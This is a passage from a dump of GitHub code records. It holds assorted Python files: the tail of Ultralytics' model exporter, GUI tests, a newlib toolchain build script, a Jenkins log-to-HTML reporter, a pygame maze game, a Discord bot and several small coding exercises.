pipeline.spec.description.output[0].ParseFromString(nms_model._spec.description.output[0].SerializeToString())\n pipeline.spec.description.output[1].ParseFromString(nms_model._spec.description.output[1].SerializeToString())\n\n # Update metadata\n pipeline.spec.specificationVersion = 5\n pipeline.spec.description.metadata.userDefined.update({\n 'IoU threshold': str(nms.iouThreshold),\n 'Confidence threshold': str(nms.confidenceThreshold)})\n\n # Save the model\n model = ct.models.MLModel(pipeline.spec, weights_dir=weights_dir)\n model.input_description['image'] = 'Input image'\n model.input_description['iouThreshold'] = f'(optional) IOU threshold override (default: {nms.iouThreshold})'\n model.input_description['confidenceThreshold'] = \\\n f'(optional) Confidence threshold override (default: {nms.confidenceThreshold})'\n model.output_description['confidence'] = 'Boxes ├Ч Class confidence (see user-defined metadata \"classes\")'\n model.output_description['coordinates'] = 'Boxes ├Ч [x, y, width, height] (relative to image size)'\n LOGGER.info(f'{prefix} pipeline success')\n return model\n\n def add_callback(self, event: str, callback):\n \"\"\"Appends the given callback.\"\"\"\n self.callbacks[event].append(callback)\n\n def run_callbacks(self, event: str):\n \"\"\"Execute all callbacks for a given event.\"\"\"\n for callback in self.callbacks.get(event, []):\n callback(self)\n\n\nclass IOSDetectModel(torch.nn.Module):\n \"\"\"Wrap an Ultralytics YOLO model for Apple iOS CoreML export.\"\"\"\n\n def __init__(self, model, im):\n \"\"\"Initialize the IOSDetectModel class with a YOLO model and example image.\"\"\"\n super().__init__()\n _, _, h, w = im.shape # batch, channel, height, width\n self.model = model\n self.nc = len(model.names) # number of classes\n if w == h:\n self.normalize = 1.0 / w # scalar\n else:\n self.normalize = torch.tensor([1.0 / w, 1.0 / h, 1.0 / w, 1.0 / h]) # broadcast (slower, smaller)\n\n def forward(self, x):\n \"\"\"Normalize predictions of object detection model with input size-dependent factors.\"\"\"\n xywh, cls = self.model(x)[0].transpose(0, 1).split((4, self.nc), 1)\n return cls, xywh * self.normalize # confidence (3780, 80), coordinates (3780, 4)\n","repo_name":"ultralytics/ultralytics","sub_path":"ultralytics/engine/exporter.py","file_name":"exporter.py","file_ext":"py","file_size_in_byte":50142,"program_lang":"python","lang":"en","doc_type":"code","stars":15778,"dataset":"github-code","pt":"90"} +{"seq_id":"32490188202","text":"import matplotlib.pyplot as plt\n\ndef read_file(filename):\n\n file = open(filename, 'r')\n\n x = []\n y = []\n\n for line in file:\n a = line.split()\n x.append(float(a[0]))\n y.append(float(a[1]))\n #print(line.rstrip(' '))\n\n file.close()\n\n plt.plot(x[1000:],y[1000:])\n plt.show()\n\n\nread_file('./raw_files/vacuum_surf_prot/potential3.txt')","repo_name":"sofie-rk/analysis_MD","sub_path":"xvg_analyze.py","file_name":"xvg_analyze.py","file_ext":"py","file_size_in_byte":378,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"3164088037","text":"import shutil\nimport tempfile\nimport unittest\n\nfrom PyQt4 import Qt\nfrom PyQt4 import QtGui\nfrom PyQt4 import QtTest\n\nfrom freeseer.framework.config.profile import ProfileManager\nfrom freeseer.frontend.talkeditor.talkeditor import TalkEditorApp\nfrom freeseer import settings\n\n\nclass TestTalkEditorApp(unittest.TestCase):\n '''\n Test suite to verify the functionality of the TalkEditorApp class.\n\n Tests interact like an end user (using QtTest). Expect the app to be rendered.\n\n '''\n\n def setUp(self):\n '''\n Stardard init method: runs before each test_* method\n\n Initializes a QtGui.QApplication and TalkEditorApp object.\n TalkEditorApp.show() causes the UI to be rendered.\n '''\n self.profile_manager = ProfileManager(tempfile.mkdtemp())\n profile = self.profile_manager.get('testing')\n config = profile.get_config('freeseer.conf', settings.FreeseerConfig,\n storage_args=['Global'], read_only=True)\n db = profile.get_database()\n\n self.app = QtGui.QApplication([])\n self.talk_editor = TalkEditorApp(config, db)\n self.talk_editor.show()\n\n def tearDown(self):\n '''\n Standard tear down method. Runs after each test_* method.\n\n This method closes the TalkEditorApp by clicking the \"close\" button\n '''\n shutil.rmtree(self.profile_manager._base_folder)\n\n del self.app\n self.talk_editor.app.deleteLater()\n\n # def test_add_talk(self):\n # '''\n # Tests a user creating a talk and adding it.\n # '''\n\n # QtTest.QTest.mouseClick(self.talk_editor.editorWidget.addButton, Qt.Qt.LeftButton)\n # self.assertFalse(self.talk_editor.editorWidget.isVisible())\n # self.assertTrue(self.talk_editor.addTalkWidget.isVisible())\n\n # mTitle = \"This is a test\"\n # mPresenter = \"Me, myself, and I\"\n # mEvent = \"0 THIS St.\"\n # mRoom = \"Room 13\"\n\n # # populate talk data (date and time are prepopulated)\n # self.talk_editor.addTalkWidget.titleLineEdit.setText(mTitle)\n # self.talk_editor.addTalkWidget.presenterLineEdit.setText(mPresenter)\n # self.talk_editor.addTalkWidget.eventLineEdit.setText(mEvent)\n # self.talk_editor.addTalkWidget.roomLineEdit.setText(mRoom)\n\n # # add in the talk\n # QtTest.QTest.mouseClick(self.talk_editor.addTalkWidget.addButton, Qt.Qt.LeftButton)\n\n # # find our talk (ensure it was added)\n # found = False\n # row_count = self.talk_editor.editorWidget.editor.model().rowCount() - 1\n # while row_count >= 0 and not found: # should be at the end, but you never know\n # if self.talk_editor.editorWidget.editor.model().index(row_count, 1).data() == mTitle and \\\n # self.talk_editor.editorWidget.editor.model().index(row_count, 2).data() == mPresenter and \\\n # self.talk_editor.editorWidget.editor.model().index(row_count, 5).data() == mEvent and \\\n # self.talk_editor.editorWidget.editor.model().index(row_count, 6).data() == mRoom:\n # found = True\n # # TODO: Select this row\n # row_count -= 1\n\n # self.assertTrue(found, \"Couldn't find talk just inserted...\")\n\n # # now delete the talk we just created\n # QtTest.QTest.mouseClick(self.talk_editor.editorWidget.removeButton, Qt.Qt.LeftButton)\n\n def test_file_menu_quit(self):\n '''\n Tests TalkEditorApp's File->Quit\n '''\n\n self.assertTrue(self.talk_editor.isVisible())\n\n # File->Quit\n self.talk_editor.actionExit.trigger()\n self.assertFalse(self.talk_editor.isVisible())\n\n def test_help_menu_about(self):\n '''\n Tests TalkEditorApp's Help->About\n '''\n\n self.assertTrue(self.talk_editor.isVisible())\n\n # Help->About\n self.talk_editor.actionAbout.trigger()\n self.assertFalse(self.talk_editor.hasFocus())\n self.assertTrue(self.talk_editor.aboutDialog.isVisible())\n\n # Click \"Close\"\n QtTest.QTest.mouseClick(self.talk_editor.aboutDialog.closeButton, Qt.Qt.LeftButton)\n self.assertFalse(self.talk_editor.aboutDialog.isVisible())\n","repo_name":"Freeseer/freeseer","sub_path":"src/freeseer/tests/frontend/talkeditor/test_talkeditor.py","file_name":"test_talkeditor.py","file_ext":"py","file_size_in_byte":4263,"program_lang":"python","lang":"en","doc_type":"code","stars":214,"dataset":"github-code","pt":"90"} +{"seq_id":"37150850080","text":"# email parsing 하는 문제\n# John Doe, Peter Parker, Mary Jane Watson-Parker, James Doe 이렇게 주어진다면\n# 마지막 문자만 이름으로 설정을 하고, 앞의 글자들은 앞 글자만 따서 저장\n# 이 때, 마지막 문자인 이름에는 - 이 들어갈 수 있고, 앞에서부터 8자만 따야함\n# jdoe, pparker, mjwatsonpa, jdoe2\n# 위의 예에서 jdoe가 2개 나오는데, 구분을 위해 중복이 있다면 마지막에 숫자를 붙여야한다.\n\n# replace 가 안먹혀서 뭔가 했는데, replace 는 새로운 값을 return 한다. 해당 인스턴스의 문자열을 수정해주지 않는다.\n\ndef solution(s_values,company_name):\n split = s_values.split(\", \")\n result = []\n company_name = company_name.lower()\n hash_map = dict()\n\n for s in split:\n individual_split = s.split(\" \")\n if len(individual_split)==2:\n first_letter = individual_split[0][0].lower()\n name = individual_split[1].lower()\n\n name = \"\".join(c for c in name if c.isalpha())\n\n if len(name)>=8:\n name = name[:8]\n\n email_title = first_letter+name\n email = \"\"\n if email_title in hash_map:\n hash_map[email_title] += 1\n count = hash_map[email_title]\n email = \"<\" + email_title + str(count)+ \"@\" + company_name + \".com\" + \">\"\n else:\n hash_map[email_title] =1\n email = \"<\" + email_title + \"@\" + company_name + \".com\" + \">\"\n result.append(email)\n\n elif len(individual_split)==3:\n first_letter = individual_split[0][0].lower()\n second_letter = individual_split[1][0].lower()\n name = individual_split[2].lower()\n\n name = \"\".join(c for c in name if c.isalpha())\n if len(name)>=8:\n name = name[:8]\n email_title = first_letter+second_letter+name\n email = \"\"\n if email_title in hash_map:\n count = hash_map[email_title]+1\n email = \"<\" + email_title + str(count)+ \"@\" + company_name + \".com\" + \">\"\n else:\n hash_map[email_title] =1\n email = \"<\" + email_title + \"@\" + company_name + \".com\" + \">\"\n\n result.append(email)\n\n s_result = \"\"\n for i in range(len(split)):\n s_result += split[i] + \" \" + result[i]\n if i is not len(split)-1:\n s_result += \", \"\n\n return s_result\n\nprint(solution(\"John Doe, Peter Parker, Mary Jane Watson-Parker, James Doe, John Elvis Doe, Jane Doe, Penny Parker\",\"Example\"))","repo_name":"camel-man-ims/coding-test-python","sub_path":"coding_test_collection/요기요_210619/1번.py","file_name":"1번.py","file_ext":"py","file_size_in_byte":2631,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"1987936729","text":"# -*- coding:utf-8 -*-\r\n'''\r\n题目描述\r\n 请实现一个函数,用来判断一颗二叉树是不是对称的。\r\n 注意,如果一个二叉树同此二叉树的镜像是同样的,定义其为对称的\r\n思路:\r\n 分为递归和非递归的两种方式,思想是一样的。主要就是把叶子节点的None节点也加入到遍历当中。\r\n 按照前序遍历二叉树,存入一个序列中。然后按照和前序遍历对应的先父节点,\r\n 然后右子节点,最后左子节点遍历二叉树,存入一个序列。\r\n 如果前后两个序列相等,那么说明二叉树是对称的。\r\n'''\r\n\r\nclass TreeNode:\r\n def __init__(self, x):\r\n self.val = x\r\n self.left = None\r\n self.right = None\r\nclass Solution:\r\n def isSymmetrical(self, pRoot):\r\n return self.selfIsSymmetrical(pRoot, pRoot)\r\n def selfIsSymmetrical(self, pRoot1, pRoot2):\r\n if pRoot1 == None and pRoot2 == None:\r\n return True\r\n if pRoot1 == None or pRoot2 == None:\r\n return False\r\n if pRoot1.val != pRoot2.val:\r\n return False\r\n return self.selfIsSymmetrical(pRoot1.left, pRoot2.right) and self.selfIsSymmetrical(pRoot1.right, pRoot2.left)\r\n\r\npNode1 = TreeNode(8)\r\npNode2 = TreeNode(6)\r\npNode3 = TreeNode(10)\r\npNode4 = TreeNode(5)\r\npNode5 = TreeNode(7)\r\npNode6 = TreeNode(9)\r\npNode7 = TreeNode(11)\r\n\r\npNode1.left = pNode2\r\npNode1.right = pNode3\r\npNode2.left = pNode4\r\npNode2.right = pNode5\r\npNode3.left = pNode6\r\npNode3.right = pNode7\r\n\r\nS = Solution()\r\nresult = S.isSymmetrical(pNode1)\r\nprint(result)","repo_name":"chimuuu/offercode","sub_path":"offer59.py","file_name":"offer59.py","file_ext":"py","file_size_in_byte":1607,"program_lang":"python","lang":"zh","doc_type":"code","stars":6,"dataset":"github-code","pt":"90"} +{"seq_id":"44907774343","text":"#!/usr/bin/python3\nimport os\nimport shutil\nimport tempfile\nfrom pathlib import Path\nfrom typing import Tuple\n\nfrom build_utils import download_and_unpack_archive, run_and_check\n\n\ndef clone_tool_and_prepare_build_dir(build_dir: Path, url: str) -> Tuple[Path, Path]:\n tool_src_dir = download_and_unpack_archive(build_dir, url)\n tool_name = url.split(\"/\")[-1].removesuffix(\".tar.gz\")\n tool_build_dir = build_dir / f\"build-{tool_name}\"\n tool_build_dir.mkdir(exist_ok=True)\n return tool_src_dir, tool_build_dir\n\n\ndef build() -> None:\n axle_dir = Path(__file__).parents[1]\n sysroot_dir = axle_dir / \"axle-sysroot\"\n sysroot_dir.mkdir(exist_ok=True)\n arch = \"x86_64\"\n toolchain_dir = Path(__file__).parents[1] / f\"{arch}-toolchain\"\n binaries_dir = toolchain_dir / \"bin\"\n\n with tempfile.TemporaryDirectory() as build_dir_raw:\n build_dir = Path(build_dir_raw)\n build_products_dir = build_dir / 'build-products'\n\n # Build automake\n automake_src_dir, automake_build_dir = clone_tool_and_prepare_build_dir(\n build_dir, \"https://ftp.gnu.org/gnu/automake/automake-1.11.tar.gz\"\n )\n automake_configure_path = automake_src_dir / \"configure\"\n run_and_check(\n [automake_configure_path.as_posix(), f\"--prefix={build_products_dir}\"], cwd=automake_build_dir\n )\n run_and_check([\"make\"], cwd=automake_build_dir)\n run_and_check([\"make\", \"install\"], cwd=automake_build_dir)\n\n # Build autoconf\n autoconf_src_dir, autoconf_build_dir = clone_tool_and_prepare_build_dir(\n build_dir, \"https://ftp.gnu.org/gnu/autoconf/autoconf-2.68.tar.gz\"\n )\n autoconf_configure_path = autoconf_src_dir / \"configure\"\n run_and_check(\n [autoconf_configure_path.as_posix(), f\"--prefix={build_products_dir}\"], cwd=autoconf_build_dir\n )\n run_and_check([\"make\"], cwd=autoconf_build_dir)\n run_and_check([\"make\", \"install\"], cwd=autoconf_build_dir)\n\n # Build newlib\n newlib_src_dir, newlib_build_dir = clone_tool_and_prepare_build_dir(build_dir, \"ftp://sourceware.org/pub/newlib/newlib-2.5.0.20171222.tar.gz\")\n\n env = {\"PATH\": os.environ[\"PATH\"]}\n # Add the x86_64-elf-axle GCC/binutils to PATH\n env = {\"PATH\": f'{toolchain_dir / \"bin\"}:{env[\"PATH\"]}'}\n # Add autoomake and autoconf to PATH\n # Add it to the path after the x86_64-elf-axle toolchain so thee newlib-specific versions of\n # autotools are prioritised\n env = {\"PATH\": f'{build_products_dir / \"bin\"}:{env[\"PATH\"]}'}\n\n newlib_patch_file = Path(__file__).parent / \"newlib.patch\"\n\n run_and_check(['git', 'apply', '--check', newlib_patch_file.as_posix()], cwd=newlib_src_dir)\n run_and_check(['git', 'apply', newlib_patch_file.as_posix()], cwd=newlib_src_dir)\n\n # We need to run autoconf since we modify configure.in\n run_and_check(['autoconf'], cwd=newlib_src_dir / \"newlib\" / \"libc\" / \"sys\", env_additions=env)\n # And autoreconf in the axle directory\n run_and_check(['autoreconf'], cwd=newlib_src_dir / \"newlib\" / \"libc\" / \"sys\" / \"axle\", env_additions=env)\n\n newlib_configure_path = newlib_src_dir / \"configure\"\n run_and_check(\n [newlib_configure_path.as_posix(), \"--prefix=/usr\", f\"--target={arch}-elf-axle\"],\n cwd=newlib_build_dir,\n env_additions=env,\n )\n run_and_check([\"make\", \"all\"], cwd=newlib_build_dir, env_additions=env)\n\n # Newlib builds the tree as sysroot/usr//[include|lib]\n # gcc and binutils expect the tree to be sysroot/usr/[include|lib]\n temp_sysroot = newlib_build_dir / \"sysroot\"\n run_and_check([\"make\", f\"DESTDIR={temp_sysroot.as_posix()}\", \"install\"], cwd=newlib_build_dir, env_additions=env)\n shutil.copytree((temp_sysroot / \"usr\" / f'{arch}-elf-axle').as_posix(), (sysroot_dir / \"usr\").as_posix(), dirs_exist_ok=True)\n\n\nif __name__ == \"__main__\":\n build()\n","repo_name":"codyd51/axle","sub_path":"scripts/build_newlib.py","file_name":"build_newlib.py","file_ext":"py","file_size_in_byte":4006,"program_lang":"python","lang":"en","doc_type":"code","stars":536,"dataset":"github-code","pt":"90"} +{"seq_id":"70031531177","text":"# \r\nclass node:\r\n\tdef __init__(self, data=None):#passing an element to be stored by the constructor\r\n\t\tself.data=data #storing the passed data point\r\n\t\tself.next=None #stpring the pointer to the next data point\r\n\t\t\t\t\t #set to null as default to represent the last node, but will update for representing other child nodes\r\n\r\n#create a linked list class that acts as a wrapper to the nodes\r\nclass linked_list:\r\n\tdef __init__(self):\r\n\t\tself.head = node() #does not contain any data and cannot be indexed. It simply point to the first node\r\n\r\n\t#implement the append function\r\n\r\n\tdef append(self,data):\r\n\t\tnew_node = node(data)\r\n\t\tcur = self.head\r\n\r\n\t\twhile cur.next!= None:\r\n\t\t\tcur = cur.next\r\n\t\tcur.next = new_node\r\n\r\n\t#figuring out the length of our linked list\r\n\tdef length(self):\r\n\t\tcur = self.head\r\n\t\ttotal = 0\r\n\t\twhile cur.next!= None:\r\n\t\t\ttotal+=1\r\n\t\t\tcur=cur.next\r\n\t\treturn total\r\n\r\n\t#function to display the current contents of the list\r\n\r\n\tdef display(self):\r\n\t\telems = []\r\n\t\tcur_node = self.head\r\n\t\twhile cur_node.next!= None:\r\n\t\t\tcur_node=cur_node.next\r\n\t\t\telems.append(cur_node.data)\r\n\t\tprint (elems)\r\n\r\n\r\n\t#implement an extractor funtion that takes out a single element from the list\r\n\r\n\tdef get(self,index):\r\n\t\tif index>=self.length() or index<0: # added 'index<0' post-video\r\n\t\t\tprint (\"ERROR: 'Get' Index out of range!\")\r\n\t\t\treturn None\r\n\t\tcur_idx=0\r\n\t\tcur_node=self.head\r\n\t\twhile True:\r\n\t\t\tcur_node=cur_node.next\r\n\t\t\tif cur_idx==index: return cur_node.data\r\n\t\t\tcur_idx+=1\r\n\t#implementing an erase function\r\n\r\n\tdef erase(self,index):\r\n\t\tif index>=self.length() or index<0: # added 'index<0' post-video\r\n\t\t\tprint (\"ERROR: 'Erase' Index out of range!\")\r\n\t\t\treturn \r\n\t\tcur_idx=0\r\n\t\tcur_node=self.head\r\n\t\twhile True:\r\n\t\t\tlast_node=cur_node\r\n\t\t\tcur_node=cur_node.next\r\n\t\t\tif cur_idx==index:\r\n\t\t\t\tlast_node.next=cur_node.next\r\n\t\t\t\treturn\r\n\t\t\tcur_idx+=1\r\n\r\n\r\nmy_list = linked_list() #creating an instance of the linked list\r\n\r\nmy_list.append(1)\r\nmy_list.append(2)\r\nmy_list.append(3)\r\nmy_list.append(4)\r\nmy_list.display()\r\n\r\nprint(\"Element at the 2nd index is %d\" %my_list.get(2))\r\n\r\n\r\nmy_list.erase(3)\r\nmy_list.display()","repo_name":"EliStones/EatSleepCode","sub_path":"day7/LinkedList.py","file_name":"LinkedList.py","file_ext":"py","file_size_in_byte":2129,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"38440748034","text":"import discord\nfrom discord.ext import commands\nfrom decouple import config\n\nintents = discord.Intents.default()\nintents.members = True \n\nbot = commands.Bot(command_prefix='/', intents = intents)\n\nchannel_id = config(\"channel_id\")\nbot.ponto_channel_id = channel_id\n\ncogs = ['manager',\n 'tasks.ponto',\n 'commands.calc',\n 'commands.info',\n 'commands.motivate',]\n\ndef load_cogs(bot):\n for cog in cogs:\n bot.load_extension(cog)\n\nload_cogs(bot)\n\nTOKEN = config(\"token\")\nbot.run(TOKEN)","repo_name":"marinavillaschi/discord-bot","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":517,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"14064180631","text":"from improver import cli\n\n\n@cli.clizefy\n@cli.with_output\ndef process(\n orography: cli.inputcube,\n land_sea_mask: cli.inputcube = None,\n *,\n bands_config: cli.inputjson = None,\n):\n \"\"\"Runs topographic bands mask generation.\n\n Reads orography and land_sea_mask fields of a cube. Creates a series of\n masks, where each mask excludes data below or equal to the lower threshold\n and excludes data above the upper threshold.\n\n Args:\n orography (iris.cube.Cube):\n The orography on a standard grid.\n land_sea_mask (iris.cube.Cube):\n The land mask on standard grid, with land points set to one and\n sea points set to zero. If provided sea points will be set\n to zero in every band. If no land mask is provided, sea points will\n be included in the appropriate topographic band.\n bands_config (dict):\n Definition of orography bands required.\n The expected format of the dictionary is e.g\n {'bounds':[[0, 50], [50, 200]], 'units': 'm'}\n The default dictionary has the following form:\n {'bounds': [[-500., 50.], [50., 100.],\n [100., 150.],[150., 200.], [200., 250.],\n [250., 300.], [300., 400.], [400., 500.],\n [500., 650.],[650., 800.], [800., 950.],\n [950., 6000.]], 'units': 'm'}\n\n Returns:\n iris.cube.Cube:\n list of orographic band mask cube.\n\n \"\"\"\n from improver.generate_ancillaries.generate_ancillary import (\n THRESHOLDS_DICT,\n GenerateOrographyBandAncils,\n )\n\n if bands_config is None:\n bands_config = THRESHOLDS_DICT\n\n if land_sea_mask:\n land_sea_mask = next(\n land_sea_mask.slices(\n [land_sea_mask.coord(axis=\"y\"), land_sea_mask.coord(axis=\"x\")]\n )\n )\n\n orography = next(\n orography.slices([orography.coord(axis=\"y\"), orography.coord(axis=\"x\")])\n )\n\n result = GenerateOrographyBandAncils()(\n orography, bands_config, landmask=land_sea_mask\n )\n result = result.concatenate_cube()\n return result\n","repo_name":"metoppv/improver","sub_path":"improver/cli/generate_topography_bands_mask.py","file_name":"generate_topography_bands_mask.py","file_ext":"py","file_size_in_byte":2134,"program_lang":"python","lang":"en","doc_type":"code","stars":95,"dataset":"github-code","pt":"90"} +{"seq_id":"12476074484","text":"# Sources: \n# KidsCanCode - Game Development with Pygame video series\n\nimport pygame as pg\nimport sys\nfrom settings import *\nfrom os import path\nfrom sprites import *\nfrom tilemap import *\nfrom time import *\n\npg.init()\n\n#setting a counting device \nmyfont = pg.font.SysFont(\"monospace\", 25)\nlabel = myfont.render(\"countdown\", 1, (0,0,0))\nscreen.blit(label, (100, 100))\n\npg.display.flip()\n\n# def cronos():\n# clock = pg.time.Clock()\n# minutes = 0\n# seconds = 0\n# milliseconds = 0\n\n#creating game class\nclass Game:\n def __init__(self):\n pg.init()\n self.screen = pg.display.set_mode((WIDTH, HEIGHT))\n pg.display.set_caption(TITLE)\n self.clock = pg.time.Clock()\n pg.key.set_repeat(300, 100)\n self.load_data()\n\n\n#loading the data from the map.txt file to make it a map\n def load_data(self):\n # print('poop')\n game_folder = path.dirname(__file__)\n self.map = Map(path.join(game_folder, 'map.txt'))\n\n def new(self):\n # initialize all variables and do all the setup for a new game\n self.all_sprites = pg.sprite.Group()\n self.walls = pg.sprite.Group()\n self.endblock = pg.sprite.Group()\n self.player = Player(self, 10, 10)\n #going through list and seeing what it is\n #if the index is a 1, it will spawn a wall at that column and row placement\n for row, tiles in enumerate(self.map.data):\n for col, tile in enumerate(tiles): \n if tile == '1':\n Wall(self, col, row)\n if tile == '2': \n EndBlock(self, col, row)\n self.camera = Camera(self.map.width, self.map.height)\n\n def run(self):\n # game loop - set self.playing = False to end the game\n clock = pg.time.Clock()\n minutes = 0\n seconds = 0\n milliseconds = 0\n self.playing = True\n while self.playing:\n timelabel = myfont.render(\"{}:{}\".format(minutes, seconds), 1, (0,0,0))\n screen.blit(timelabel, (200, 100))\n self.dt = self.clock.tick(FPS) / 1000\n self.events()\n self.update()\n self.draw()\n \n if milliseconds > 1000:\n seconds += 1\n milliseconds -= 1000\n if seconds > 60:\n minutes += 1\n seconds -= 60\n\n print (\"{}:{}\".format(minutes, seconds))\n\n milliseconds += clock.tick_busy_loop(60)\n\n def quit(self):\n pg.quit()\n sys.exit()\n\n def update(self):\n # update portion of the game loop\n self.all_sprites.update()\n self.camera.update(self.player)\n \n\n#drawing the background grid\n def draw_grid(self):\n for x in range(0, WIDTH, TILESIZE):\n pg.draw.line(self.screen, BLACK, (x, 0), (x, HEIGHT))\n for y in range(0, HEIGHT, TILESIZE):\n pg.draw.line(self.screen, BLACK, (0, y), (WIDTH, y))\n\n#drawing character\n def draw(self):\n self.screen.fill(BLACK)\n self.draw_grid()\n for sprite in self.all_sprites:\n self.screen.blit(sprite.image, self.camera.apply(sprite))\n pg.display.flip()\n\n def events(self):\n # catch all events here\n keys = pg.key.get_pressed()\n for event in pg.event.get():\n if event.type == pg.QUIT:\n self.quit()\n if event.type == pg.KEYDOWN:\n if event.key == pg.K_ESCAPE:\n self.quit()\n\n\n def show_start_screen(self):\n pass\n\n def show_go_screen(self):\n pass\n\n# create the game object\ng = Game()\ng.show_start_screen()\nwhile True:\n g.new()\n g.run()\n g.show_go_screen()","repo_name":"Owen1225/introToProgrammingFinalProject","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3684,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"8322827397","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Oct 9 11:25:42 2017\n\n@author: richard\n\"\"\"\n\nimport tensorflow as tf\n\na = tf.constant([1.0, 2.0], name=\"a\")\nb = tf.constant([2.0, 3.0], name=\"b\")\nresult = a + b","repo_name":"TongzheZhang/CodeWork","sub_path":"Python/TensorflowEx/practice.py","file_name":"practice.py","file_ext":"py","file_size_in_byte":202,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"90"} +{"seq_id":"27413423835","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jun 21 12:21:26 2018\n\n@author: nisum\n\"\"\"\n#import HTML\nimport json\nimport datetime\nimport urllib.request\nimport urllib\nimport sys\n\n#job_id = input(\"Enter the Job ID \")\n\njob_id = '5853'\n\nuser_id = ' '\nuser_name = ' '\n\ndef get_url():\n \n URL = \"https://fbd-ci.devops.fds.com/jenkins/view/zeus_recycle/job/zeus_creative_recycles/\"\n wfapi_query_string = \"/wfapi\"\n json_api_string = \"/api/json\"\n \n job_url = URL + job_id + wfapi_query_string\n \n ####Getting wfapi data####\n \n with urllib.request.urlopen(job_url) as url:\n data = json.loads(url.read().decode('utf-8'))\n \n with open('jenkins-log.json', 'w') as f:\n json.dump(data, f, indent=4, separators=(',', ': '), sort_keys=True)\n f.write('\\n')\n \n user_info_url = URL + job_id + json_api_string\n \n ####Getting json api data####\n \n with urllib.request.urlopen(user_info_url) as user_url:\n user_data = json.loads(user_url.read().decode('utf-8'))\n \n with open('user_log-info.json', 'w') as f:\n json.dump(user_data, f, indent=4, separators=(',', ': '), sort_keys=True)\n f.write('\\n')\n \n with open('user_log-info.json', 'r') as info:\n for line in info:\n fields = line.strip().split(':')\n if \"description\" in line:\n desc = fields[1]\n if \"userId\" in line:\n user_id = fields[1]\n if \"userName\" in line:\n user_name = fields[1]\n \n return (desc, user_id, user_name)\n\n\n#https://fbd-ci.devops.fds.com/jenkins/view/zeus_recycle/job/zeus_creative_recycles/5763/api/json?pretty=true\n\n\ndef parse_json_html():\n \n #user_id, user_name = get_url()\n desc, user_id, user_name = get_url()\n \n with open('jenkins-log.json', 'r') as f:\n obj = f.read()\n x = json.loads(obj)\n \n allItems = x['stages']\n html_file_name = 'log.html'\n \n with open(html_file_name, 'w') as myFile:\n \n myFile.write('')\n myFile.write('')\n myFile.write('')\n myFile.write('')\n \n \n myFile.write('')\n \n myFile.write('

Jenkins Job Information

')\n myFile.write('

Environment: ' + desc + '

')\n myFile.write('

Build No.: ' + job_id + '

')\n myFile.write('

UserId: ' + user_id + '

')\n myFile.write('

User Name: ' + user_name + '

')\n \n \n myFile.write('')\n \n \n myFile.write('')\n myFile.write('')\n myFile.write('') \n myFile.write('')\n myFile.write('')\n myFile.write('')\n \n \n for dic in allItems:\n\n startTime = dic['startTimeMillis'] / 1000.0\n timeStamp = datetime.datetime.fromtimestamp(startTime).strftime('%Y-%m-%d %H:%M:%S %z')\n \n duration = (dic['durationMillis'] / 1000.0)%60\n durTime = datetime.datetime.fromtimestamp(duration).strftime('%H:%M:%S')\n \n# job_status = str(dic['status'])\n# \n# if job_status == \"FAILED\":\n# myFile.write('')\n# myFile.write('')\n# myFile.write('') \n# myFile.write('') \n# myFile.write('')\n# myFile.write('')\n \n \n \n myFile.write('')\n \n if dic['name'] == \"Recycle\":\n continue\n \n if dic['name'] == \"Recycle Customer\":\n #myFile.write('')\n #continue\n myFile.write('' + '')\n \n elif dic['name'] == \"Recycle web\":\n myFile.write('')\n continue\n else:\n myFile.write('')\n myFile.write('') \n myFile.write('') \n \n job_status = str(dic['status'])\n\n if job_status == \"NOT_EXECUTED\":\n myFile.write('')\n elif job_status == \"FAILED\":\n myFile.write('')\n else:\n myFile.write('')\n \n myFile.write('')\n \n myFile.write('
TaskStartTimeDurationStatus
' + dic['name'] + ''+ timeStamp+''+ durTime+'' + dic['status'] + '
' + dic['name'] + ' --- Parallel Stage' + dic['name'] + ' Recycle ' + dic['name'] + ' --- Parallel Stage' + dic['name'] + ''+ timeStamp+''+ durTime+'' + dic['status'] + '' + dic['status'] + '' + dic['status'] + '
')\n myFile.write('')\n myFile.write('')\n \n\nget_url()\nparse_json_html()","repo_name":"chaitusanga/nisum","sub_path":"old.py","file_name":"old.py","file_ext":"py","file_size_in_byte":5216,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"23645328393","text":"# TC\n# param1 = [93, 30, 55]\t\n# param2 = [1, 30, 5]\t#[2, 1]\n# param1 = [95, 90, 99, 99, 80, 99]\t\n# param2 = [1, 1, 1, 1, 1, 1]\t#[1, 3, 2]\n# param1 = [100, 100, 100, 100, 100, 100]\t\n# param2 = [1, 1, 1, 1, 1, 1]\n\n# progresses = param1\n# speeds = param2\n\ndef checkCount(progresses, speeds):\n prevDay = 0\n count = 0\n result = []\n for index, each in enumerate(progresses):\n if (each + (speeds[index] * prevDay)) >= 100:\n count += 1\n else:\n if count >= 1:\n result.append(count)\n count = 0\n\n if (100 - each) % speeds[index] == 0:\n day = ((100 - each - speeds[index] * prevDay) // speeds[index])\n else:\n day = ((100 - each - speeds[index] * prevDay) // speeds[index]) + 1\n \n prevDay += day\n count += 1\n \n result.append(count) \n\n return result\n\ndef solution(progresses, speeds):\n answer = checkCount(progresses, speeds)\n return answer\n\n# print(solution(progresses, speeds))\n","repo_name":"chomh168/beakjoon","sub_path":"programmers/스택큐/p_스택큐_1/solve.py","file_name":"solve.py","file_ext":"py","file_size_in_byte":1048,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"18290345479","text":"n=int(input())\ns=[]\nt=[]\nfor i in range(n):\n st,tt=input().split()\n s.append(st)\n t.append(int(tt))\nx=str(input())\ntemp=0\nans=sum(t)\nfor i in range(n):\n temp=temp+t[i]\n if 